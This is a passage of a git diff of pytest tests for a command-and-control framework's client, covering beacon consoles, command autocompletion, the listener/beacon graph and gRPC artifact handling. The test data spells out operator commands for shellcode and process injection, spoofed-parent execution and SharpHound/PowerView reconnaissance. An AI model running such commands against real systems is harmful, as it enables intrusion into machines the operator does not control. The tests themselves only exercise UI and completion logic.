ConsolesTab(parent, StubGrpc()) + qtbot.addWidget(consoles) + + assert consoles.objectName() == "C2ConsolesTab" + assert consoles.tabs.objectName() == "C2ConsoleTabs" + assert consoles.tabs.tabText(1) == "Hooks" + assert consoles.tabs.tabText(2) == "Artifacts" + assert consoles.tabs.tabText(3) == "Commands" + assert consoles.tabs.tabText(4) == "Data AI" + assert "#0b1117" in consoles.styleSheet() + assert "#070b10" in consoles.styleSheet() + assert consoles.layout.contentsMargins().left() == 0 + assert consoles.layout.spacing() == 0 + + protected_count = consoles.tabs.count() + consoles.closeTab(2) + assert consoles.tabs.count() == protected_count + + for index in range(consoles.tabs.count()): + page = consoles.tabs.widget(index) + assert page.objectName() == "C2ConsolePage" + assert page.layout().contentsMargins().left() == 0 + assert page.layout().contentsMargins().top() == 0 + assert page.layout().spacing() == 0 + + +def test_consoles_tab_polls_only_active_beacon_console(qtbot, monkeypatch): + class FakeConsole(QWidget): + consoleScriptSignal = pyqtSignal(str, str, str, str, str, str, str) + instances = [] + + def __init__(self, parent, grpcClient, beaconHash, listenerHash, hostname, username): + super().__init__(parent) + self.beaconHash = beaconHash + self.pollingActive = None + self.pollingStates = [] + FakeConsole.instances.append(self) + + def setResponsePollingActive(self, active): + self.pollingActive = active + self.pollingStates.append(active) + + monkeypatch.setattr('C2Client.ConsolePanel.Terminal', DummyPanel) + monkeypatch.setattr('C2Client.ConsolePanel.Script', DummyPanel) + monkeypatch.setattr('C2Client.ConsolePanel.Artifacts', DummyPanel) + monkeypatch.setattr('C2Client.ConsolePanel.Commands', DummyPanel) + monkeypatch.setattr('C2Client.ConsolePanel.Assistant', DummyPanel) + monkeypatch.setattr('C2Client.ConsolePanel.Console', FakeConsole) + + parent = QWidget() + consoles = ConsolesTab(parent, StubGrpc()) + qtbot.addWidget(consoles) + + consoles.addConsole("beacon-1", "listener", "host", "user") + first = FakeConsole.instances[0] + assert first.pollingActive is True + + consoles.addConsole("beacon-2", "listener", "host", "user") + second = FakeConsole.instances[1] + assert first.pollingActive is False + assert second.pollingActive is True + + consoles.tabs.setCurrentIndex(SYSTEM_TAB_COUNT) + assert first.pollingActive is True + assert second.pollingActive is False + + consoles.tabs.setCurrentIndex(0) + assert first.pollingActive is False + assert second.pollingActive is False + + +def _completion_children(entries, text): + return next(children for entry_text, children in entries if entry_text == text) + + +def test_command_specs_seed_console_completer_from_manifest_examples(): + sleep_spec = SimpleNamespace( + name="sleep", + kind="common", + examples=["sleep 0.5"], + args=[ + SimpleNamespace(name="seconds", type="number", values=[]), + ], + ) + custom_spec = SimpleNamespace( + name="custom", + kind="module", + examples=["custom --flag"], + args=[], + ) + + server_data = command_specs_to_completer_data([sleep_spec, custom_spec]) + + assert ("custom", [("--flag", [])]) in server_data + sleep_entry = _completion_children(server_data, "sleep") + assert ("0.5", []) in sleep_entry + + +def test_upload_command_uses_upload_artifact_completions(): + class FakeGrpc: + def __init__(self): + self.queries = [] + + def listArtifacts(self, query): + self.queries.append(query) + return iter([ + SimpleNamespace(name="operator/tool.exe", display_name="tool.exe"), + SimpleNamespace(name="notes.txt", display_name="notes.txt"), + ]) + + upload_spec = SimpleNamespace( + name="upload", + kind="module", + examples=["upload tool.exe C:\\Temp\\tool.exe"], + args=[ + SimpleNamespace( + name="upload_artifact", + type="artifact", + values=[], + artifact_filter=SimpleNamespace( + category="upload", + scope="operator", + target="beacon", + platform="session.platform", + arch="session.arch", + runtime="", + name_contains="", + ), + ), + SimpleNamespace(name="remote_path", type="path", values=[]), + ], + ) + session = SimpleNamespace(os="Windows 11", arch="x64") + + grpc = FakeGrpc() + server_data = command_specs_to_completer_data([upload_spec], grpcClient=grpc, session=session) + upload_children = _completion_children(server_data, "upload") + + assert ("operator/tool.exe", []) in upload_children + assert ("tool.exe", []) in upload_children + assert ("notes.txt", []) in upload_children + assert grpc.queries[0].runtime == "" + + +def test_command_arg_can_use_multiple_artifact_filters(): + class FakeGrpc: + def __init__(self): + self.queries = [] + + def listArtifacts(self, query): + self.queries.append(query) + if query.category == "tool": + return iter([ + SimpleNamespace(artifact_id="tool-1", name="Windows/x64/svc.exe", display_name="svc.exe"), + ]) + if query.category == "upload": + return iter([ + SimpleNamespace(artifact_id="upload-1", name="uploadedSvc.exe", display_name="uploadedSvc.exe"), + ]) + return iter([]) + + tool_filter = SimpleNamespace( + category="tool", + scope="server", + target="teamserver", + platform="windows", + arch="session.arch", + runtime="any", + name_contains=".exe", + ) + upload_filter = SimpleNamespace( + category="upload", + scope="operator", + target="beacon", + platform="session.platform", + arch="session.arch", + runtime="file", + name_contains=".exe", + ) + service_arg = SimpleNamespace(name="service_artifact", type="artifact", values=[], artifact_filters=[tool_filter, upload_filter]) + session = SimpleNamespace(os="Windows 11", arch="x64") + grpc = FakeGrpc() + + artifacts = _load_artifacts_for_arg(grpc, service_arg, session) + + assert [artifact.name for artifact in artifacts] == ["Windows/x64/svc.exe", "uploadedSvc.exe"] + assert [query.category for query in grpc.queries] == ["tool", "upload"] + assert grpc.queries[0].target == "teamserver" + assert grpc.queries[0].arch == "x64" + assert grpc.queries[1].target == "beacon" + assert grpc.queries[1].platform == "windows" + assert grpc.queries[1].runtime == "file" + + +def test_script_and_powershell_commands_use_script_artifact_completions(): + class FakeGrpc: + def __init__(self): + self.queries = [] + + def listArtifacts(self, query): + self.queries.append(query) + if query.category == "script" and query.platform == "linux" and query.runtime == "shell": + return iter([SimpleNamespace(name="cleanup.sh", display_name="cleanup.sh")]) + if query.category == "upload" and query.platform == "linux" and query.runtime == "shell": + return iter([SimpleNamespace(name="uploadedCleanup.sh", display_name="uploadedCleanup.sh")]) + return iter([SimpleNamespace(name="PowerView.ps1", display_name="PowerView.ps1")]) + + script_server_filter = SimpleNamespace( + category="script", + scope="server", + target="beacon", + platform="session.platform", + arch="", + runtime="shell", + name_contains="", + ) + script_upload_filter = SimpleNamespace( + category="upload", + scope="operator", + target="beacon", + platform="session.platform", + arch="session.arch", + runtime="shell", + name_contains="", + ) + powershell_filter = SimpleNamespace( + category="script", + scope="server", + target="beacon", + platform="windows", + arch="", + runtime="powershell", + name_contains=".ps1", + ) + script_spec = SimpleNamespace( + name="script", + kind="module", + examples=["script cleanup.sh"], + args=[ + SimpleNamespace( + name="script_artifact", + type="artifact", + values=[], + artifact_filters=[script_server_filter, script_upload_filter], + ), + ], + ) + powershell_spec = SimpleNamespace( + name="powershell", + kind="module", + examples=["powershell -s PowerView.ps1"], + args=[ + SimpleNamespace(name="-i", type="flag", values=[], artifact_filter=powershell_filter), + SimpleNamespace(name="-s", type="flag", values=[], artifact_filter=powershell_filter), + ], + ) + pwsh_spec = SimpleNamespace( + name="pwSh", + kind="module", + examples=["pwSh script PowerView.ps1"], + args=[ + SimpleNamespace( + name="action", + type="enum", + values=["init", "run", "import", "script"], + ), + SimpleNamespace( + name="command_or_script", + type="text", + values=[], + artifact_filter=powershell_filter, + completion_parents=["import", "script"], + ), + ], + ) + + grpc = FakeGrpc() + session = SimpleNamespace(os="Linux", arch="x64") + server_data = command_specs_to_completer_data([script_spec, powershell_spec, pwsh_spec], grpcClient=grpc, session=session) + + script_children = _completion_children(server_data, "script") + assert ("cleanup.sh", []) in script_children + assert ("uploadedCleanup.sh", []) in script_children + + powershell_children = _completion_children(server_data, "powershell") + assert _completion_children(powershell_children, "-i") + assert ("PowerView.ps1", []) in _completion_children(powershell_children, "-s") + pwsh_children = _completion_children(server_data, "pwSh") + assert ("PowerView.ps1", []) in _completion_children(pwsh_children, "script") + assert ("PowerView.ps1", []) in _completion_children(pwsh_children, "import") + assert not _completion_children(pwsh_children, "run") + assert grpc.queries[0].category == "script" + assert grpc.queries[0].platform == "linux" + assert grpc.queries[1].category == "upload" + assert grpc.queries[1].platform == "linux" + assert grpc.queries[1].arch == "x64" + assert grpc.queries[2].platform == "windows" + + +def test_command_specs_add_flag_completions_without_positional_mode_mix(): + class FakeGrpc: + def __init__(self): + self.queries = [] + + def listArtifacts(self, query): + self.queries.append(query) + if query.category == "tool" and query.platform == "windows": + assert query.arch == "x64" + assert query.format in {"exe", "dll", "bin"} + if query.category == "beacon" and query.name_contains == ".exe": + assert query.format == "exe" + return iter([SimpleNamespace(name="BeaconHttp.exe", display_name="BeaconHttp.exe")]) + if query.category == "tool" and query.name_contains == ".exe" and query.format == "exe": + return iter([ + SimpleNamespace(name="windows/Seatbelt.exe", display_name="Seatbelt.exe"), + SimpleNamespace(name="SharpHound.exe", display_name="SharpHound.exe"), + ]) + if query.name_contains == ".dll" and query.format == "dll": + return iter([SimpleNamespace(name="Tools/Example.dll", display_name="Example.dll")]) + if query.name_contains == ".bin" and query.format == "bin": + return iter([SimpleNamespace(name="payloads/loader.bin", display_name="loader.bin")]) + return iter([]) + + artifact_filter_exe = SimpleNamespace( + category="tool", + scope="server", + target="teamserver", + platform="windows", + arch="session.arch", + runtime="any", + format="exe", + name_contains=".exe", + ) + artifact_filter_dll = SimpleNamespace( + category="tool", + scope="server", + target="teamserver", + platform="windows", + arch="session.arch", + runtime="any", + format="dll", + name_contains=".dll", + ) + artifact_filter_bin = SimpleNamespace( + category="tool", + scope="server", + target="teamserver", + platform="windows", + arch="session.arch", + runtime="any", + format="bin", + name_contains=".bin", + ) + artifact_filter_beacon_exe = SimpleNamespace( + category="beacon", + scope="implant", + target="listener", + platform="windows", + arch="session.arch", + runtime="native", + format="exe", + name_contains=".exe", + ) + assembly_spec = SimpleNamespace( + name="assemblyExec", + kind="module", + examples=[ + "assemblyExec --mode process --raw shellcode.bin", + "assemblyExec --mode thread --donut-exe Seatbelt.exe -- -group=system", + "assemblyExec --mode process --donut-dll Tool.dll --method EntryPoint -- arg1 arg2", + ], + args=[ + SimpleNamespace(name="--mode", type="flag", values=["thread", "process", "processWithSpoofedParent"]), + SimpleNamespace(name="--raw", type="flag", values=[]), + SimpleNamespace(name="--donut-exe", type="flag", values=[], artifact_filter=artifact_filter_exe), + SimpleNamespace(name="--donut-dll", type="flag", values=[], artifact_filter=artifact_filter_dll), + SimpleNamespace(name="source_path", type="path", values=[]), + ], + ) + + grpc = FakeGrpc() + session = SimpleNamespace(os="Windows 11", arch="x64") + server_data = command_specs_to_completer_data([assembly_spec], grpcClient=grpc, session=session) + assembly_children = _completion_children(server_data, "assemblyExec") + + assert ("thread", []) not in assembly_children + assert ("process", []) not in assembly_children + assert ("--raw", []) in assembly_children + assert ("--method", []) not in assembly_children + donut_exe_children = _completion_children(assembly_children, "--donut-exe") + assert _completion_children(donut_exe_children, "windows/Seatbelt.exe") + assert _completion_children(donut_exe_children, "SharpHound.exe") + assert ("--", []) in _completion_children(donut_exe_children, "SharpHound.exe") + donut_dll_children = _completion_children(assembly_children, "--donut-dll") + assert _completion_children(donut_dll_children, "Tools/Example.dll") + assert ("Tool.dll", []) not in donut_dll_children + assert ("--method", []) in _completion_children(donut_dll_children, "Tools/Example.dll") + + mode_children = _completion_children(assembly_children, "--mode") + mode_process_children = _completion_children(mode_children, "process") + assert ("--raw", []) in mode_process_children + assert _completion_children(mode_process_children, "--donut-exe") + assert _completion_children(mode_process_children, "--donut-dll") + assert ("Tool.dll", []) not in _completion_children(mode_process_children, "--donut-dll") + assert grpc.queries[0].category == "tool" + assert grpc.queries[0].scope == "server" + assert grpc.queries[0].target == "teamserver" + assert grpc.queries[0].platform == "windows" + assert grpc.queries[0].runtime == "any" + assert grpc.queries[0].name_contains == ".exe" + + inject_spec = SimpleNamespace( + name="inject", + kind="module", + examples=[ + "inject --raw loader.bin --pid 4321", + "inject --donut-exe Seatbelt.exe --pid 4321 -- arg", + "inject --donut-dll Tool.dll --pid -1 --method EntryPoint -- arg", + ], + args=[ + SimpleNamespace(name="--pid", type="flag", values=[]), + SimpleNamespace(name="--raw", type="flag", values=[], artifact_filter=artifact_filter_bin), + SimpleNamespace(name="--donut-exe", type="flag", values=[], artifact_filters=[ + artifact_filter_exe, + artifact_filter_beacon_exe, + ]), + SimpleNamespace(name="--donut-dll", type="flag", values=[], artifact_filter=artifact_filter_dll), + SimpleNamespace(name="--method", type="flag", values=[]), + ], + ) + + server_data = command_specs_to_completer_data([inject_spec], grpcClient=grpc, session=session) + inject_children = _completion_children(server_data, "inject") + raw_children = _completion_children(inject_children, "--raw") + assert _completion_children(raw_children, "payloads/loader.bin") + assert _completion_children(_completion_children(raw_children, "payloads/loader.bin"), "--pid") + inject_exe_children = _completion_children(inject_children, "--donut-exe") + assert ("--", []) in _completion_children(inject_exe_children, "SharpHound.exe") + assert ("--", []) in _completion_children(inject_exe_children, "BeaconHttp.exe") + inject_dll_children = _completion_children(inject_children, "--donut-dll") + assert _completion_children(_completion_children(inject_dll_children, "Tools/Example.dll"), "--pid") + assert ("--method", []) in _completion_children(inject_dll_children, "Tools/Example.dll") + assert ("--", []) in _completion_children(inject_dll_children, "Tools/Example.dll") + exe_payload_children = _completion_children(_completion_children(inject_children, "--donut-exe"), "SharpHound.exe") + exe_payload_pid_children = _completion_children(exe_payload_children, "--pid") + assert ("--", []) in _completion_children(exe_payload_pid_children, "") + + pid_children = _completion_children(inject_children, "--pid") + pid_value_children = _completion_children(pid_children, "") + assert _completion_children(pid_value_children, "--raw") + assert _completion_children(pid_value_children, "--donut-exe") + pid_first_exe_children = _completion_children(pid_value_children, "--donut-exe") + assert ("--", []) in _completion_children(pid_first_exe_children, "SharpHound.exe") + + normalized, _placeholders = normalize_console_completion_text("inject --pid 4321 --donut-exe ") + assert normalized.split(" ") == [ + "inject", + "--pid", + "", + "--donut-exe", + "", + ] + + dotnet_artifact_arg = SimpleNamespace( + name="assembly_artifact", + type="artifact", + values=[], + artifact_filters=[artifact_filter_exe, artifact_filter_dll], + ) + dotnet_spec = SimpleNamespace( + name="dotnetExec", + kind="module", + examples=[ + "dotnetExec load seatbelt Seatbelt.exe", + "dotnetExec load tool Tool.dll Namespace.Type", + ], + args=[ + SimpleNamespace(name="action", type="enum", values=["load", "runExe", "runDll"]), + SimpleNamespace(name="module_name", type="text", values=[]), + dotnet_artifact_arg, + SimpleNamespace(name="type_or_method", type="text", values=[]), + ], + ) + + grpc.queries.clear() + server_data = command_specs_to_completer_data([dotnet_spec], grpcClient=grpc, session=session) + dotnet_children = _completion_children(server_data, "dotnetExec") + dotnet_load_children = _completion_children(dotnet_children, "load") + dotnet_name_children = _completion_children(dotnet_load_children, DOTNET_LOAD_NAME_PLACEHOLDER) + assert ("SharpHound.exe", []) in dotnet_name_children + assert _completion_children(dotnet_name_children, "Tools/Example.dll") + assert ("", []) in _completion_children(dotnet_name_children, "Tools/Example.dll") + normalized, _placeholders = normalize_console_completion_text("dotnetExec load seatbelt Tools/Example.dll ") + assert normalized.split(" ") == [ + "dotnetExec", + "load", + DOTNET_LOAD_NAME_PLACEHOLDER, + "Tools/Example.dll", + "", + ] + assert [query.name_contains for query in grpc.queries] == [".exe", ".dll"] + normalized, _placeholders = normalize_console_completion_text("inject --donut-exe SharpHound.exe --pid 4321 ") + assert normalized.split(" ") == [ + "inject", + "--donut-exe", + "SharpHound.exe", + "--pid", + "", + "", + ] + server_data = command_specs_to_completer_data([inject_spec], grpcClient=grpc, session=session) + options = console_completion_options(server_data, "inject --pid 4321 ") + raw_option = next(option for option in options if option.label == "--raw") + assert raw_option.full_text == "inject --pid 4321 --raw" + + assert console_completion_options([("ls", [("/tmp", [])])], "ls") == [] + explicit_ls_options = console_completion_options([("ls", [("/tmp", [])])], "ls", descend_exact=True) + assert explicit_ls_options[0].full_text == "ls /tmp" + + +def test_contextual_completer_uses_artifacts_listeners_and_module_specs(): + class FakeGrpc: + def listCommands(self, query=None): + return iter([ + SimpleNamespace( + name="help", + kind="common", + examples=["help loadModule"], + args=[], + ), + SimpleNamespace( + name="listener", + kind="common", + examples=["listener start tcp 10.2.4.8 4444", "listener stop "], + args=[ + SimpleNamespace(name="action", values=["start", "stop"]), + SimpleNamespace(name="type_or_hash", values=["tcp", "smb"]), + ], + ), + SimpleNamespace( + name="loadModule", + kind="common", + examples=["loadModule pwd"], + args=[ + SimpleNamespace( + name="module", + values=[], + artifact_filter=SimpleNamespace( + category="module", + target="beacon", + scope="", + platform="session.platform", + arch="session.arch", + runtime="native", + ), + ) + ], + ), + SimpleNamespace(name="unloadModule", kind="common", examples=[], args=[]), + SimpleNamespace(name="pwd", kind="module", examples=["pwd"], args=[]), + ]) + + def listSessions(self): + return iter([ + SimpleNamespace( + beacon_hash="beacon-1", + listener_hash="listener-1", + os="Linux ubuntu", + arch="x64", + ) + ]) + + def listListeners(self): + return iter([SimpleNamespace(listener_hash="listener-hash")]) + + def listModules(self, session): + assert session.beacon_hash == "beacon-1" + assert session.listener_hash == "listener-1" + return iter([SimpleNamespace(name="pwd", state="loaded")]) + + def listArtifacts(self, query): + assert query.category == "module" + assert query.target == "beacon" + assert query.platform == "linux" + assert query.arch == "x64" + assert query.runtime == "native" + return iter([ + SimpleNamespace(name="libPrintWorkingDirectory.so", display_name="libPrintWorkingDirectory.so"), + SimpleNamespace(name="libListDirectory.so", display_name="libListDirectory.so"), + ]) + + completions = build_completer_data(FakeGrpc(), beaconHash="beacon-1", listenerHash="listener-1") + + listener_children = _completion_children(completions, "listener") + listener_stop_children = _completion_children(listener_children, "stop") + assert ("listener-hash", []) in listener_stop_children + + load_module_children = _completion_children(completions, "loadModule") + assert ("pwd", []) not in load_module_children + assert ("printWorkingDirectory", []) not in load_module_children + assert ("ls", []) in load_module_children + + unload_module_children = _completion_children(completions, "unloadModule") + assert ("pwd", []) in unload_module_children + assert ("ls", []) not in unload_module_children + + help_children = _completion_children(completions, "help") + assert ("loadModule", []) in help_children + assert ("pwd", []) in help_children + + +def test_command_editor_up_arrow_history_still_returns_last_command(tmp_path, qtbot, monkeypatch): + monkeypatch.chdir(tmp_path) + (tmp_path / ".cmdHistory").write_text("first\nsecond\n") + + editor = CommandEditor(grpcClient=StubGrpc()) + qtbot.addWidget(editor) + + editor.historyUp() + + assert editor.text() == "second" + + +def test_command_editor_tab_cycles_completion_rows_without_reset(tmp_path, qtbot, monkeypatch): + class CompletionGrpc(StubGrpc): + def listCommands(self, query=None): + return iter([ + SimpleNamespace(name="alpha", kind="module", examples=["alpha"], args=[]), + SimpleNamespace(name="beta", kind="module", examples=["beta"], args=[]), + ]) + + monkeypatch.chdir(tmp_path) + editor = CommandEditor(grpcClient=CompletionGrpc()) + qtbot.addWidget(editor) + editor.show() + editor.setFocus() + + assert editor._refreshOnFocus is False + + editor.nextCompletion() + assert editor.dropdown.isVisible() + assert editor.dropdown.currentRow() == 0 + + editor.nextCompletion() + assert editor.dropdown.currentRow() == 1 + + editor.nextCompletion() + assert editor.dropdown.currentRow() == 0 + + editor.previousCompletion() + assert editor.dropdown.currentRow() == 1 diff --git a/C2Client/tests/test_env_loading.py b/C2Client/tests/test_env_loading.py index 23177fd..183f484 100644 --- a/C2Client/tests/test_env_loading.py +++ b/C2Client/tests/test_env_loading.py @@ -2,7 +2,7 @@ import os -from C2Client.env import load_c2_env +from C2Client.env import env_bool, env_int, env_path, load_c2_env def test_load_c2_env_reads_dotenv_without_overriding_existing_values(tmp_path, monkeypatch): @@ -40,3 +40,47 @@ def test_load_c2_env_can_override_when_requested(tmp_path, monkeypatch): load_c2_env([env_file], override=True) assert os.environ["OPENAI_API_KEY"] == "from-file" + + +def test_load_c2_env_resolves_path_values_relative_to_env_file(tmp_path, monkeypatch): + env_file = tmp_path / "nested" / ".env" + env_file.parent.mkdir() + env_file.write_text( + "\n".join( + [ + "C2_CERT_PATH=certs/server.crt", + "C2_LOG_DIR=./logs", + ] + ), + encoding="utf-8", + ) + monkeypatch.delenv("C2_CERT_PATH", raising=False) + monkeypatch.delenv("C2_LOG_DIR", raising=False) + + load_c2_env([env_file]) + + assert os.environ["C2_CERT_PATH"] == str((env_file.parent / "certs/server.crt").resolve()) + assert os.environ["C2_LOG_DIR"] == str((env_file.parent / "logs").resolve()) + + +def test_env_helpers_parse_typed_values(tmp_path, monkeypatch): + env_file = tmp_path / ".env" + env_file.write_text( + "\n".join( + [ + "C2_DEV_MODE=yes", + "C2_PORT=4444", + "C2_LOG_DIR=logs", + ] + ), + encoding="utf-8", + ) + monkeypatch.delenv("C2_DEV_MODE", raising=False) + monkeypatch.delenv("C2_PORT", raising=False) + monkeypatch.delenv("C2_LOG_DIR", raising=False) + + load_c2_env([env_file]) + + assert env_bool("C2_DEV_MODE") is True + assert env_int("C2_PORT", 50051, minimum=1, maximum=65535) == 4444 + assert env_path("C2_LOG_DIR") == (tmp_path / "logs").resolve() diff --git a/C2Client/tests/test_graph_panel.py b/C2Client/tests/test_graph_panel.py new file mode 100644 index 0000000..867c6ad --- /dev/null +++ b/C2Client/tests/test_graph_panel.py @@ -0,0 +1,169 @@ +from types import SimpleNamespace + +from PyQt6.QtCore import QPointF +from PyQt6.QtWidgets import QWidget + +from C2Client.console_style import CONSOLE_COLORS +from C2Client.GraphPanel import BeaconNodeItemType, Graph, ListenerNodeItemType + + +class StubGrpc: + def listSessions(self): + return [ + SimpleNamespace( + beacon_hash="beacon-1", + listener_hash="listener-1", + os="Windows", + privilege="HIGH", + hostname="host1", + ), + SimpleNamespace( + beacon_hash="beacon-2", + listener_hash="listener-2", + os="Linux", + privilege="user", + hostname="host2", + ), + ] + + def listListeners(self): + return [ + SimpleNamespace(listener_hash="listener-1", beacon_hash=""), + SimpleNamespace(listener_hash="listener-2", beacon_hash=""), + ] + + +class PivotGrpc: + def listSessions(self): + return [ + SimpleNamespace( + beacon_hash="beacon-parent", + listener_hash="listener-primary", + os="Windows", + privilege="HIGH", + hostname="parent", + ), + SimpleNamespace( + beacon_hash="beacon-child", + listener_hash="listener-pivot", + os="Linux", + privilege="user", + hostname="child", + ), + ] + + def listListeners(self): + return [ + SimpleNamespace(listener_hash="listener-primary", beacon_hash="", type="https"), + SimpleNamespace(listener_hash="listener-pivot", beacon_hash="beacon-parent", type="tcp"), + ] + + +def test_graph_auto_layout_separates_new_nodes(qtbot, monkeypatch, capsys): + monkeypatch.setattr("C2Client.GraphPanel.QThread.start", lambda self: None) + + graph = Graph(QWidget(), StubGrpc()) + qtbot.addWidget(graph) + + graph.updateGraph() + captured = capsys.readouterr() + + listeners = [node for node in graph.listNodeItem if node.type == ListenerNodeItemType] + beacons = [node for node in graph.listNodeItem if node.type == BeaconNodeItemType] + + assert captured.out == "" + assert len(listeners) == 2 + assert len(beacons) == 2 + assert len({(node.pos().x(), node.pos().y()) for node in graph.listNodeItem}) == 4 + assert all(node.pos() != QPointF(0, 0) for node in graph.listNodeItem) + assert {node.pos().x() for node in listeners} == {graph.PRIMARY_LISTENER_X} + assert {node.pos().x() for node in beacons} == {graph.BEACON_X} + + +def test_graph_auto_layout_preserves_user_moved_nodes(qtbot, monkeypatch): + monkeypatch.setattr("C2Client.GraphPanel.QThread.start", lambda self: None) + + graph = Graph(QWidget(), StubGrpc()) + qtbot.addWidget(graph) + graph.updateGraph() + + moved = graph.listNodeItem[0] + moved.userMoved = True + moved.setPos(QPointF(900, 700)) + + graph.updateGraph() + + assert moved.pos() == QPointF(900, 700) + + +def test_graph_layout_places_pivot_children_in_deeper_columns(qtbot, monkeypatch): + monkeypatch.setattr("C2Client.GraphPanel.QThread.start", lambda self: None) + + graph = Graph(QWidget(), PivotGrpc()) + qtbot.addWidget(graph) + graph.updateGraph() + + parent = graph.findBeaconNode("beacon-parent") + child = graph.findBeaconNode("beacon-child") + primary = graph.findResponsibleNode("listener-primary") + + assert primary.displayLabel.startswith("https") + assert parent.pos().x() == graph.BEACON_X + assert child.pos().x() == graph.SECONDARY_LISTENER_X + assert len(graph.listConnector) == 2 + assert "Hosted listeners: listener-pivot" in parent.toolTip() + assert "Listener: listener-pivot" in child.toolTip() + + +def test_graph_auto_button_reclaims_user_moved_nodes(qtbot, monkeypatch): + monkeypatch.setattr("C2Client.GraphPanel.QThread.start", lambda self: None) + + parent = QWidget() + qtbot.addWidget(parent) + graph = Graph(parent, StubGrpc()) + qtbot.addWidget(graph) + graph.updateGraph() + + moved = graph.findBeaconNode("beacon-1") + moved.userMoved = True + moved.setPos(QPointF(900, 700)) + + graph.autoLayoutButton.click() + + assert moved.userMoved is False + assert moved.pos().x() == graph.BEACON_X + + +def test_graph_zoom_buttons_update_view_scale(qtbot, monkeypatch): + monkeypatch.setattr("C2Client.GraphPanel.QThread.start", lambda self: None) + + parent = QWidget() + qtbot.addWidget(parent) + graph = Graph(parent, StubGrpc()) + qtbot.addWidget(graph) + + initial_scale = graph.view.transform().m11() + graph.zoomInButton.click() + + assert graph.view.transform().m11() > initial_scale + + graph.zoomOutButton.click() + + assert graph.view.transform().m11() == initial_scale + + +def test_graph_uses_shared_dark_panel_theme(qtbot, monkeypatch): + monkeypatch.setattr("C2Client.GraphPanel.QThread.start", lambda self: None) + + parent = QWidget() + qtbot.addWidget(parent) + graph = Graph(parent, StubGrpc()) + qtbot.addWidget(graph) + + assert CONSOLE_COLORS["background"] in graph.styleSheet() + assert CONSOLE_COLORS["background"] in graph.view.styleSheet() + assert CONSOLE_COLORS["border"] in graph.view.styleSheet() + assert graph.vbox.spacing() == 6 + assert graph.toolbar.spacing() == 6 + assert graph.refreshButton.minimumHeight() == 26 + assert graph.refreshButton.maximumHeight() == 26 diff --git a/C2Client/tests/test_grpc_client.py b/C2Client/tests/test_grpc_client.py index d92bcdd..29d5ebc 100644 --- a/C2Client/tests/test_grpc_client.py +++ b/C2Client/tests/test_grpc_client.py @@ -1,6 +1,4 @@ import grpc -import os -from types import SimpleNamespace from unittest import mock import pytest @@ -9,11 +7,11 @@ import sys sys.modules['grpcClient'] = grpc_client_module -from C2Client.grpcClient import GrpcClient, TeamServerApi_pb2_grpc +from C2Client.grpcClient import GrpcClient, TeamServerApi_pb2, TeamServerApi_pb2_grpc class DummyFuture: - def result(self): + def result(self, timeout=None): return None @@ -29,6 +27,189 @@ def test_grpc_client_reads_certificate_and_sets_metadata(tmp_path, monkeypatch): client = GrpcClient("127.0.0.1", 50051, False, token="tok") assert ("authorization", "Bearer tok") in client.metadata + assert ("clientid", client.client_id) in client.metadata + assert client.endpoint == "127.0.0.1:50051" + assert client.ca_cert_path == str(cert) + + +def test_grpc_client_reports_rpc_status(tmp_path, monkeypatch): + cert = tmp_path / "cert.crt" + cert.write_text("cert") + monkeypatch.setenv("C2_CERT_PATH", str(cert)) + monkeypatch.setattr(grpc, "ssl_channel_credentials", lambda _: object()) + monkeypatch.setattr(grpc, "secure_channel", lambda *args, **kwargs: object()) + monkeypatch.setattr(grpc, "channel_ready_future", lambda channel: DummyFuture()) + stub = mock.MagicMock() + stub.ListListeners.return_value = iter([]) + monkeypatch.setattr(TeamServerApi_pb2_grpc, "TeamServerApiStub", lambda channel: stub) + + client = GrpcClient("127.0.0.1", 50051, False, token="tok") + events = [] + client.set_status_callback(lambda operation, ok, message: events.append((operation, ok, message))) + + assert list(client.listListeners()) == [] + assert events == [("ListListeners", True, "")] + + +def test_grpc_client_lists_artifacts(tmp_path, monkeypatch): + cert = tmp_path / "cert.crt" + cert.write_text("cert") + monkeypatch.setenv("C2_CERT_PATH", str(cert)) + monkeypatch.setattr(grpc, "ssl_channel_credentials", lambda _: object()) + monkeypatch.setattr(grpc, "secure_channel", lambda *args, **kwargs: object()) + monkeypatch.setattr(grpc, "channel_ready_future", lambda channel: DummyFuture()) + stub = mock.MagicMock() + query = object() + artifact = object() + stub.ListArtifacts.return_value = iter([artifact]) + monkeypatch.setattr(TeamServerApi_pb2_grpc, "TeamServerApiStub", lambda channel: stub) + + client = GrpcClient("127.0.0.1", 50051, False, token="tok") + events = [] + client.set_status_callback(lambda operation, ok, message: events.append((operation, ok, message))) + + assert list(client.listArtifacts(query)) == [artifact] + stub.ListArtifacts.assert_called_once_with(query, metadata=client.metadata) + assert events == [("ListArtifacts", True, "")] + + +def test_grpc_client_downloads_artifact(tmp_path, monkeypatch): + cert = tmp_path / "cert.crt" + cert.write_text("cert") + monkeypatch.setenv("C2_CERT_PATH", str(cert)) + monkeypatch.setattr(grpc, "ssl_channel_credentials", lambda _: object()) + monkeypatch.setattr(grpc, "secure_channel", lambda *args, **kwargs: object()) + monkeypatch.setattr(grpc, "channel_ready_future", lambda channel: DummyFuture()) + stub = mock.MagicMock() + response = object() + stub.DownloadArtifact.return_value = response + monkeypatch.setattr(TeamServerApi_pb2_grpc, "TeamServerApiStub", lambda channel: stub) + + client = GrpcClient("127.0.0.1", 50051, False, token="tok") + events = [] + client.set_status_callback(lambda operation, ok, message: events.append((operation, ok, message))) + + assert client.downloadArtifact("artifact-1") is response + request = stub.DownloadArtifact.call_args.args[0] + assert isinstance(request, TeamServerApi_pb2.ArtifactSelector) + assert request.artifact_id == "artifact-1" + assert stub.DownloadArtifact.call_args.kwargs["metadata"] == client.metadata + assert events == [("DownloadArtifact", True, "")] + + +def test_grpc_client_uploads_artifact(tmp_path, monkeypatch): + cert = tmp_path / "cert.crt" + cert.write_text("cert") + monkeypatch.setenv("C2_CERT_PATH", str(cert)) + monkeypatch.setattr(grpc, "ssl_channel_credentials", lambda _: object()) + monkeypatch.setattr(grpc, "secure_channel", lambda *args, **kwargs: object()) + monkeypatch.setattr(grpc, "channel_ready_future", lambda channel: DummyFuture()) + stub = mock.MagicMock() + response = object() + stub.UploadArtifact.return_value = response + monkeypatch.setattr(TeamServerApi_pb2_grpc, "TeamServerApiStub", lambda channel: stub) + + client = GrpcClient("127.0.0.1", 50051, False, token="tok") + events = [] + client.set_status_callback(lambda operation, ok, message: events.append((operation, ok, message))) + + assert client.uploadArtifact("payload.bin", b"payload", "windows", "x64") is response + request = stub.UploadArtifact.call_args.args[0] + assert isinstance(request, TeamServerApi_pb2.ArtifactUploadRequest) + assert request.name == "payload.bin" + assert 